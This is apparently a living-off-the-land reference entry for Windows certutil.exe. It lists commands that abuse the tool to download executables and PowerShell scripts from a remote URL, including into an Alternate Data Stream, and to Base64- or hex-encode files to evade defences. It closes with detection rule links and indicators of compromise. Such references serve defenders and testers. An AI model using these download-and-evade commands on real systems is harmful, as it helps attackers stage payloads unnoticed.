Certutil.exe
Windows binary used for handling certificates
Paths
C:\Windows\System32\certutil.exeC:\Windows\SysWOW64\certutil.exe
Commands
Download
Download and save an executable to disk in the current folder.
Use case: Download file from Internet
Privileges: User
certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}Download
Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.
Use case: Download file from Internet
Privileges: User
certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}ADS
Download and save a .ps1 file to an Alternate Data Stream (ADS).
Use case: Download file from Internet and save it in an NTFS Alternate Data Stream
Privileges: User
certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:tttDownload
Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.
Use case: Download file from Internet
Privileges: User
certutil.exe -URL {REMOTEURL:.exe}Encode
Command to encode a file using Base64
Use case: Encode files to evade defensive measures
Privileges: User
certutil -encode {PATH} {PATH:.base64}Decode
Command to decode a Base64 encoded file.
Use case: Decode files to evade defensive measures
Privileges: User
certutil -decode {PATH:.base64} {PATH}Decode
Command to decode a hexadecimal-encoded file.
Use case: Decode files to evade defensive measures
Privileges: User
certutil -decodehex {PATH:.hex} {PATH}Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml
- Elastic: https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml
- IOC: Certutil.exe creating new files on disk
- IOC: Useragent Microsoft-CryptoAPI/10.0
- IOC: Useragent CertUtil URL Agent